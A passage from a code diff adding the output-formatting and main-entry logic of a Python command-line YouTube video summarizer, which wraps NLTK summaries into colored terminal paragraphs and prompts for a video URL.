nltk_summary_title.center(terminal_width)) + print(Fore.MAGENTA + "─" * terminal_width) + + # Split NLTK summary into paragraphs and wrap each + paragraphs = result['nltk_summary'].split('. ') + formatted_paragraphs = [] + + current_paragraph = "" + for sentence in paragraphs: + if not sentence.endswith('.'): + sentence += '.' + + if len(current_paragraph) + len(sentence) + 1 <= 150: # Arbitrary length for paragraph + current_paragraph += " " + sentence if current_paragraph else sentence + else: + if current_paragraph: + formatted_paragraphs.append(current_paragraph) + current_paragraph = sentence + + if current_paragraph: + formatted_paragraphs.append(current_paragraph) + + # Print each paragraph + for paragraph in formatted_paragraphs: + print(wrapper.fill(paragraph)) + print() # Empty line between paragraphs + + print(Fore.MAGENTA + "─" * terminal_width + "\n") + + +if __name__ == "__main__": + # Get terminal width + try: + terminal_width = os.get_terminal_size().columns + # Limit width to reasonable range + terminal_width = max(80, min(terminal_width, 120)) + except: + terminal_width = 80 # Default if can't determine + + # Print welcome banner + print(Fore.CYAN + Style.BRIGHT + "\n" + "=" * terminal_width) + print(Fore.CYAN + Style.BRIGHT + "YOUTUBE VIDEO SUMMARIZER".center(terminal_width)) + print(Fore.CYAN + Style.BRIGHT + "=" * terminal_width + "\n") + + youtube_url = input(Fore.GREEN + "Enter YouTube video URL: " + Fore.WHITE) + + num_sentences_input = input(Fore.GREEN + "Enter number of sentences for summaries (default 5): " + Fore.WHITE) + num_sentences = int(num_sentences_input) if num_sentences_input.strip() else 5 + + print(Fore.YELLOW + "\nFetching and analyzing video transcript... Please wait...\n") + + result = summarize_youtube_video(youtube_url, num_sentences) + print_summary_result(result, width=terminal_width)